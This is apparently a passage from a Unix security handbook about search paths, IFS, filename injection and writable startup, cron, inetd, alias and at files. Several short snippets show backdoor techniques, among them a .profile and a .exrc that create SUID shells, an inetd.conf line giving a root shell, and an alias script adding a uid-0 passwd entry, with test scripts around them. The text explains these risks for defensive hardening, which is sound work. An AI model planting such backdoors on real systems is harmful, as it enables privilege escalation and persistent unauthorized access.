Each shell maintains a path, consisting of a set of directories to be searched for commands issued by the user. This set of directories is consulted, when the user types a command whose name does not contain a leading / symbol, and which does not bind to an internal shell command name or alias.

In shells derived from the Bourne and Korn shells, the PATH variable is normally set within the initialization file. The list of directories given normally consists of directories separated by a colon (:). An entry of only a period, or an empty entry,^[335] means to search the current directory. The csh path is initialized by setting the PATH variable with a list of space-separated directory names enclosed in parentheses.

For instance, the following are typical initializations that have vulnerabilities:

PATH=.:/usr/bin:/bin:/usr/local/bin                 sh or ksh
set path = ( . /usr/bin /bin /usr/local/bin)        csh

Each command sets the search path to look first in the current directory, then in /usr/bin, then in /bin, and then in /usr/local/bin. This is a poor choice of settings, especially if the user has special privileges. The current directory, as designated by a null directory or period, should never be included in the search path. To illustrate the danger of placing the current directory in your path, see the example given in Chapter 5.

You should also avoid this sort of initialization, which also places the current directory in your search path:

The following is incorrect:

PATH=:/usr/bin:/bin:/usr/local/bin:          sh or ksh

The following is correct:

PATH=        /usr/bin:/bin:/usr/local/bin            sh or ksh

The colons (:) should be used only as delimiters, not as end caps.

No sensitive account should ever have “.”—the current directory—in its search path.^[336] This rule is especially true of the superuser account! More generally, you should never have a directory in your search path that is writable by other users. Some sites keep a special directory, such as /usr/local/bin/ world-writable (mode 777) so that users can install programs for the benefit of others. Unfortunately, this practice opens up the entire system to the kinds of attacks outlined earlier.

Putting the current directory last in the search path is also not a good idea. For instance, if you use the more command frequently, but sometimes type mroe, the attacker can take advantage of this by placing a Trojan horse named mroe in this directory. It may be many weeks or months before the command is accidentally executed. However, when the command is executed, your security will be penetrated.

We strongly recommend that you get into the habit of typing the full pathname of commands when you are running as root. For example, instead of only typing “chown”, type “/sbin/chown” to be sure you are getting the system version! This may seem like extra work, but when you are running as root, you also bear extra responsibility.

If you create any shell files that will be run by a privileged user—including root, daemon, mail, http, etc.—get in the habit of resetting the PATH variable as one of the first things you do in each shell file. The PATH should include only sensible, protected directories. This method is discussed further in Chapter 16.

The IFS variable can be set to indicate which characters separate input words (similar to the -F option of awk). The benefit of this variable is that you can use it to change the behavior of the shell in interesting ways. For example, you could use the following shell script to get a list of account names and their home directories:

#!/bin/sh

IFS=":"

while read acct passwd uid gid gcos homedir shell
do
   echo $acct " " $homedir
done < /etc/passwd

(In this, the shell has already read and parsed the whole file before the assignment to IFS is executed, so the remaining words are not separated by colon (:) characters.)

The IFS feature has largely been superseded by other tools, such as awk and Perl. However, the feature lives on and can cause unexpected damage. By setting IFS to use / as a separator, an attacker could cause a shell file or program to execute unexpected commands.

Most modern versions of the shell will reset their IFS value to a normal set of characters when invoked. Thus, shell files will behave properly. However, not all do. To determine if your shell is immune to this problem, try executing the following:

: A test of the shell

cd /tmp
cat > tmp <<E-O-F
echo "Danger!"
echo "Your shell does NOT reset the IFS variable!"
E-O-F

cat > foo <<E-O-F
echo "Your shell appears well behaved."
E-O-F

cat > test$$ <<E-O-F
/tmp/foo
E-O-F

chmod 700 tmp foo test$$

PATH=.:$PATH
IFS="/$IFS"
export PATH IFS

test$$

rm -f tmp foo test$$

Failure to reset the IFS variable is not itself a security problem. The difficulty arises when a shell file is executed on behalf of a user, or if some command is executed from within a program using the system( ) or popen( ) calls (they both use the shell to parse and execute their arguments). If an attacker can execute the program as a privileged user and reset the search path, then he can compromise security. You should be especially cautious about writing shell files and SUID/SGID programs if your shell does not reset IFS.

Yet another tactic that can be exploited, in some circumstances, is to reset the HOME variable. Normally, csh and ksh substitute the value of this variable for the ~ symbol when it is used in pathnames. Thus, if an attacker is able to change the value of this variable, he might also be able to take advantage of a shell file that used the ~ symbol as a shorthand for the home directory.

For example, if there is a SUID csh file (despite our warnings elsewhere about both csh and SUID shell files) that references ~/.rhosts for the user, an attacker could subvert it by resetting the HOME environment variable before running it.

One subtle form of attack results from an interaction between the shell and the filesystem. The Unix filesystem has no restrictions on the characters that can be used in a filename, other than that the slash (/) and null (ASCII 0) characters cannot be used. Consequently, other special characters can be used, including the following:

The problem exists when a user finds that some script or command is executed on a regular basis by a privileged user, and the command uses filenames as an argument. If your attacker creates a filename with the appropriate sequence of characters, the attacker could execute a command of her choosing.

This problem most often manifests itself when there are scripts run from the cron file to do filesystem sweeps or accounting. The commands most susceptible to this form of attack are find and xargs,^[337] along with anything that edits input and moves it to a shell. The script in Example 23-1 demonstrates all three and checks the versions of your programs to see if they can be used in such an attack. If so, examine carefully any scripts you run regularly.

: A Test of three basic commands

cd /tmp

if test -f ./gotcha
then
   echo "Ooops! There is already a file named gotcha here."
   echo "Delete it and try again."
   exit 1
fi

cat > gotcha <<E-O-F
echo "Haha! Gotcha! If this was nasty, you would have a problem! 1>&2"
touch g$$
exit 2
E-O-F
chmod +x ./gotcha

fname='foo;'gotcha''
touch "$fname"

PATH=.:$PATH
export PATH

find /tmp -type f -exec echo {} \; > /dev/null

if test -f ./g$$
then
   echo "Ooops! find gotcha!"
   rm -f g$$
else
   echo "find okay"
fi

ls -1 * | sed 's/^/wc /' | sh >/dev/null

if test -f ./g$$
then
   echo "Ooops! your shell gotcha!"
   rm -f g$$
else
   echo "your shell okay"
fi

ls -1 | xargs ls >/dev/null

if test -f ./g$$
then
   echo "Ooops! xargs gotcha!"
   rm -f g$$
else
echo "xargs okay"

fi

rm -f ./gotcha "$fname" g$$

These files are executed when the user first logs in. Commands within the files are executed by the user’s shell. Allowing an attacker to write to these files can result in arbitrary (and hidden) commands being executed each time the user logs in, or on a one-time basis:

# attacker's version of root's .profile file
/bin/cp /bin/sh /tmp/.secret
/etc/chown root /tmp/.secret
/bin/chmod 4555 /tmp/.secret
# run real .profile and replace this file
mv /.real_profile /.profile
. /.profile

These are files that can be executed at login or when a new shell is run. They may also be run after executing su to the user account.

This file is read and executed when the GNU Emacs editor is started. Commands of arbitrary nature may be written in Emacs LISP code and buried within the user’s Emacs startup commands. Furthermore, if any of the directories listed in the load-path variable are writable, the library modules can be modified with similar results.

These files are read for initialization when the ex or vi editor is started. What is particularly nasty is that if there is a version of this file present in the current directory, then its contents may be read in and used instead of the one in the user’s home directory.

Thus, an attacker might do the following in every directory where he has write access:

% cat > .exrc
!(cp /bin/sh /tmp/.secret;chmod 4755 /tmp/.secret)&
^D

Should the superuser ever start either the vi or ex editor in one of those directories, the superuser will unintentionally create an SUID sh. The superuser will notice a momentary display of the ! symbol during editor startup. The attacker can then, at a later point, recover this SUID file and take full advantage of the system.

Some versions of the vi/ex software allow you to put the command set noexrc in your EXINIT environment variable. This ability prevents any local .exrc file from being read and executed.

Some mailers allow the user to specify special handling of mail by placing special files in his home directory. With sendmail, the user may specify certain addresses and programs in the .forward file. If an attacker can write to this file, she can specify that upon mail receipt a certain program be run—like a shell script in /tmp that creates a SUID shell for the attacker.

Many popular mailer packages allow users to write filter files to process their mail in a semi-automated fashion. This includes the procmail system, MH, and several others. Some of these programs are quite powerful, and have the potential to cause problems on your system. If a user writes a filter to trigger on a particular form of mail coming into the mailbox, an attacker could craft a message to cause unwanted behavior.

For example, suppose that one of your users has installed an autoreply to send an “out of the office” reply to any incoming mail. If someone with malicious intent were to send a forged mail message with a bad return address, the hapless user’s mailer would send an automated reply. However, the bad address would cause a bounce message to come back, only to trigger another autoreply. The result is an endless exchange of autoreplies and error messages, tying up network bandwidth (if non-local), log file space, and disk space for the user. (The solution is to use an autoreply that sends a reply to each address only once every few days, and that recognizes and does not reply to error messages. Novice programmers, by definition, seldom think about how the software they write can fail.)

Other programs also have initialization files that can be abused. Third-party systems that you install on your system, such as database systems, office interfaces, and windowing systems, all may have initialization files that can cause problems if they are configured incorrectly or are writable. You should carefully examine any initialization files present on your system, and especially check their permissions.

Many programs allow you to set initialization values in environment variables in your shell rather than in your files. These can also cause difficulties if they are manipulated maliciously. For instance, in the previous example for vi, the Trojan horse can be planted in the EXINIT environment variable rather than in a file. The attacker then needs to trick the superuser into somehow sourcing a file or executing a shell file that sets the environment variable and then executes the editor. Be very wary of any circumstances in which you might alter one of your shell variables in this way!

Another possible source of initialization errors comes into play when you edit files that have embedded edit commands. Both vi/ex and Emacs allow you to embed edit commands within text files so they are automatically executed whenever you edit the file. For this to work, they must be located in the first few or last few lines of the file.

To disable this feature in Emacs, place one of these lines in your .emacs file:

(setq inhibit-local-variables t)                   ; Emacs Version 18

or:

(setq enable-local-variables "ask")                    ; Emacs Verison 19 and above

We know of no uniform method of disabling the undesired behavior of vi/ex on every platform without making alterations to the source. Some vendors may have provided a means of shutting off this automatic initialization, so check your documentation.

There are three forms of crontab files. The oldest form has a line with a command to be executed as superuser whenever the time field is matched by the cron daemon.^[338] To execute commands from this old-style crontab file as a user other than root, you must make the command listed in the crontab file use the su command. For example:

59 1 * * *             /bin/su news -c /usr/lib/news/news.daily

This has the effect of running the su command at 1:59 a.m., resulting in a shell running as user news. The shell is given arguments of both -c and /usr/lib/news/news.daily that then cause the script to be run as a command.

The second form of the cron file has an extra field that indicates on whose behalf the command is being run. In the following example, the script is run at 1:59 a.m. as user news without the need for a su command. This version of cron is found principally in versions of Unix derived from the older BSD version.

59 1 * * *             news             /usr/lib/news/news.daily

The third form of cron is found in most modern operating systems. It keeps both a master crontab file and a protected directory with a separate crontab file for each user. The cron daemon examines all the files and dispatches jobs based on the user owning the file. This form of cron does not need any special care in the entries, although (like the other two versions) the files and directories need to be protected.

On many systems, use of cron can be restricted to selected users by using the cron.allow and cron.deny files, which are typically found in /etc. If the cron.allow file is present, only users listed in that file may use cron; otherwise, if cron.deny is present, users in that file may not use cron.

The /etc/inetd.conf file defines which programs should be run when incoming network connections are caught by the inetd daemon. An intruder who can write to the file may change one of the entries in the file to start up a shell or other program to access the system upon receipt of a message. So, he might change:

daytime stream tcp nowait root internal

to:

daytime stream tcp nowait root /bin/ksh ksh -i

This would allow an attacker to telnet to the daytime port on the machine, and get a root shell any time he wanted to get back on the machine. Note that this would not result in any unusual program appearing on the system. The only way to discover this trap is to check the inetd.conf file. Obviously, this is a file to include as part of the checklists procedure for examining altered files. It is also a file that should be closely guarded.

Note that even if the command names look appropriate for each of the services listed in the inetd.conf file, if the corresponding files are writable or in a writable directory, the attacker may replace them with altered versions. They would not need to be SUID/SGID because inetd would run them as root (if so indicated in the file).

These are the files of system-wide electronic mail aliases used by the sendmail program. Similar files exist for other mailers. The aliases in the aliases file are compiled into database files (aliases.dir and aliases.pag, or aliases.db) for faster lookups.

The danger with this file is that an attacker can create a mail alias that automatically runs a particular program. For example, an attacker might add an alias that looks like this:

uucheck: "|/usr/lib/uucp/local_uucheck"

He might then create a SUID root file called /usr/lib/uucp/local_uucheck that essentially performs these operations:^[339]

#!/bin/sh
echo "uucheck::0:0:fake uucp:/:/bin/sh" >> /etc/passwd

The attacker now has a back door into the system. Whenever he sends mail to user uucheck, the system will put an entry into the password file that will allow the attacker to log in. He can then edit the entry out of the password file, and have free reign on the system. How often do you examine your alias file?

There are other ways of exploiting email programs that do not require the creation of SUID programs. We have omitted them from this text, as it is not our goal to provide a cookbook for breaking into computer systems, and an astonishingly large number of sites have world-writable alias files.

Be sure that your alias file is not writable by users (if for no other reason than the fact that it gives users an easy way to intercept your mail). You must also protect the database files. Make certain that no alias runs a program or writes to a file unless you are absolutely 100% certain what the program does.

Most Unix systems have a program called at that allows users to specify commands to be run at a later time. This program is especially useful for jobs that need to be run only once, although it is also useful on systems that do not have a modern version of cron that allows users to set their own delayed jobs.^[340]

The at command collects environment information and commands from the user and stores them in a file for later execution. The user ID to be used for the script is taken from the queued file. If an attacker can get into the queue directory to modify the file owner or contents, it is possible that the files can be subverted to do something other than what was intended. Thus, for obvious reasons, the directory where at stores its files should not be writable by others, and the files it creates should not be writable (or readable) by others.

Try running at on your system. If the resulting queue files (usually in /usr/spool/atrun, /usr/spool/at, or /var/spool/atrun) can be modified by another user, you should fix the situation or consider disabling the atrun daemon (usually dispatched by cron every 15 minutes).

On many systems, the use of at can be restricted to selected users by using the at.allow and at.deny files, which are typically found in /etc. If the at.allow file is present, only users listed in that file may use at; otherwise, if at.deny is present, users in that file may not use at.

The system initialization files are another ideal place for an attacker to place commands that will allow access to the system. By putting selected commands in /etc/rc*, /etc/init.d/*, /etc/rc?.d, and other standard files, an attacker could reconstruct a back door into the system whenever the system is rebooted or the run level is changed. All the files in /etc should be kept unwritable by users other than root!

Be especially careful regarding the log files created by programs automatically run during system initialization. These files can be used to overwrite system files through the use of symlinks. Thus, directories containing log files should also have their permissions tightly controlled.

Other files may be run on a regular basis, and these should be protected in a similar manner. The programs and datafiles should be made nonwritable (and perhaps nonreadable) by unprivileged users. All the directories containing these files and commands up to and including the root directory should be made nonwritable.

Other files and directories to protect include:

As an added precaution, none of these files or directories (or the ones mentioned earlier) should be exported via NFS (described in Chapter 15). If you must export the files via NFS, export them read-only, or set their ownership to root and map root client access to nobody. If clients need to be able to modify configuration files, then the exported files (presumably on the /usr partition) should actually be symbolic links to locations on the client’s local filesystems (presumably on the /var or /opt partitions).

No files that are used as part of your system’s startup procedure or for other automatic operations should be exported via NFS. If these files must be exported using NFS, they should be set on the server to be owned by root and placed in a directory that is owned by root. Do not export directories that hold mailboxes, as these files inherently require ownership by users other than root.